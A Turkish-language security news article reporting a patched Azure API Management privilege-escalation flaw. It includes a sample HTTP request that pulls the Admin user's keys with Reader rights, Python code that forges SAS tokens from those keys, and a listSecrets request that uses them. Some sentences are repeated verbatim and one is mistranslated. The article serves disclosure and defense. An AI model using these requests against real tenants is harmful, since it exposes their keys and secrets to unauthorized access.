Azure API Yönetimi Güvenlik Açığı Saldırganların Ayrıcalıkları Yükseltmesine İzin Veriyor


Azure API Management’ta (APIM) bir güvenlik açığı tespit edildi. Saldırganların ayrıcalıkları yükseltmesine ve hassas bilgilere erişmesine olanak sağlıyor.

Bu sorun, kritik kaynaklara yetkisiz erişime izin veren Azure Kaynak Yöneticisi (ARM) API’sindeki bir kusurdan kaynaklanmaktadır.

Bu makalede, söz konusu güvenlik açığının özellikleri, etkileri ve riski azaltmak için atılan adımlar ele alınmaktadır.

– Reklamcılık –
DÖRTDÖRT

ARM API Güvenlik Açığını Anlamak

Azure Kaynak Yöneticisi (ARM) API’si, APIM örnekleri de dahil olmak üzere Azure kaynaklarını yönetir.

BinarySecurity tarafından bildirildiği üzere, Okuyucu izinlerine sahip kullanıcılar bir APIM kaynağına eriştiğinde, ARM API genellikle belirli eylemleri kısıtlar.

Decoding Compliance: What CISOs Need to Know – Join Free Webinar

Okuyucu erişimi olan kullanıcılar tarafından yapılamayan, bunun için başka bir anahtar üretilmesi.Okuyucu erişimi olan kullanıcılar tarafından yapılamayan, bunun için başka bir anahtar üretilmesi.
Okuyucu erişimi olan kullanıcılar tarafından yapılamayan, bunun için başka bir anahtar üretilmesi.

Ancak, ARM API’nin eski sürümleri, Okuyucu erişimine sahip kullanıcıların tüm abonelik anahtarlarını görüntülemesine, kimlik sağlayıcı hizmet sorumlularının istemci kimlik bilgilerini okumasına ve Doğrudan Yönetim API’sine yönelik anahtarlara erişmesine izin veriyordu.

Hatanın çözümü, doğru ARM API uç noktasını bulup onu “Okuyucu” ayrıcalıklarıyla çağırmak kadar basit.Hatanın çözümü, doğru ARM API uç noktasını bulup onu “Okuyucu” ayrıcalıklarıyla çağırmak kadar basit.
Hatanın çözümü, doğru ARM API uç noktasını bulup onu “Okuyucu” ayrıcalıklarıyla çağırmak kadar basit.

Microsoft, bu sorunları gidermek için, minimum ARM API sürümünü zorunlu kılan ve böylece eski, güvenlik açığı bulunan sürümleri engelleyen bir özellik sundu.

Bu kısıtlamayı 2020’den daha yeni bir API sürümüne ayarlayarak, Okuyucu erişimine sahip kullanıcıların abonelik anahtarlarını ve diğer hassas bilgileri görüntülemesi engellenir.

Bu önlemlere rağmen, bir hata, yönetici kullanıcı anahtarlarına erişime izin vererek bu kısıtlamaları aştı.

Doğrudan Yönetim API’si: Daha Yakından Bir Bakış

Doğrudan Yönetim API’si bir APIM örneğinin önemli bir bileşenidir. Kullanıcılar, gruplar, ürünler ve abonelikler gibi varlıklar üzerinde işlemleri etkinleştirir.

Varsayılan olarak bu varlıklar üzerinde kapsamlı izinlere sahip bir Yönetici kullanıcısı oluşturulur. Güvenlik açığı, Okuyucu ayrıcalıklarına sahip kullanıcıların gözden kaçan bir ARM API uç noktasını istismar edip yetkisiz erişim elde etme yeteneğinde yatmaktadır.

Saldırganların bu güvenlik açığını nasıl istismar edebileceğine dair bir örnek şöyle:

GET /subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//users/1/keys?api-version=2023-03-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer 

Bu istek, saldırganların yönetici kullanıcı anahtarlarını ele geçirmesine ve Paylaşılan Erişim İmzaları (SAS) oluşturmasına olanak tanır ve hassas verilere daha fazla erişim hakkı verir.

Exploit’i Göstermek

Güvenlik açığı, yönetici kullanıcı anahtarlarına erişilerek ve SAS belirteçleri oluşturularak gösterilebilir.

Bu belirteçler APIM Yönetim API’siyle etkileşim kurmak ve yetkisiz eylemler gerçekleştirmek için kullanılabilir:

def get_expiry(self):
    return (datetime.datetime.utcnow() + datetime.timedelta(hours=24)).strftime("%Y-%m-%dT%H:%M:%S.0000000Z")
def generate_apim_sas_token(self, key, uid, version=1):
    exp = self.get_expiry()
    if version == 1:
        message = f"uid={uid}&ex={exp}"
        message_to_sign = f"{uid}\n{exp}"
        signature = base64.b64encode(self.hmac_sha512(message_to_sign, key)).decode("utf-8")
        sas_token = f"{message}&sn={signature}"
    return sas_token

Saldırganlar bu token’lar ile abonelik anahtarlarını veya kimlik sağlayıcı anahtarlarını listeleyebilir:


/subscription/0/resourceGroups/0/providers/Microsoft.ApiManagement/service/0/subscriptions//listSecrets?api-version=2022-08-01 HTTP/1.1
Host: .management.azure-api.net
Authorization: SharedAccessSignature uid=1&ex=2024-05-01T00:00:00:000000Z&sn=ABCDEFG==
Content-Length: 0
Content-Type: application/json

Çözüm ve Gelecekteki Önlemler

Microsoft bu güvenlik açığını, Okuyucu ayrıcalıklarına sahip kullanıcılar için ARM API’yi kısıtlayarak giderdi.

Düzeltme hızlı bir şekilde uygulandı ve geriye dönük olarak tüm APIM örneklerine uygulandı. Bu çözüme rağmen, gelecekte benzer güvenlik açıkları ortaya çıkabilir.

Güvenliği artırmak ve savunmayı derinlemesine oluşturmak için kritik Azure kaynaklarının özel hale getirilmesi ve yalnızca sanal ağlarından (VNET) erişilebilir olması önerilir.

Ayrıca kuruluşlar, kaynak erişimini izlemek ve yönetmek için CI/CD çalıştırıcıları gibi güvenlik önlemlerinin dağıtımını da değerlendirmelidir.

Güvenlik açığının, ayrıcalık yükseltme güvenlik etkisine sahip hayati önemde bir güvenlik düzeyine sahip olduğu sınıflandırıldı.

Bulut ortamları geliştikçe, hassas verileri korumak ve sistem bütünlüğünü sürdürmek için dikkatli olmak ve proaktif güvenlik önlemleri almak önemini korumaktadır.

Simulating Cyberattack Scenarios With All-in-One Cybersecurity Platform – Watch Free Webinar



Source link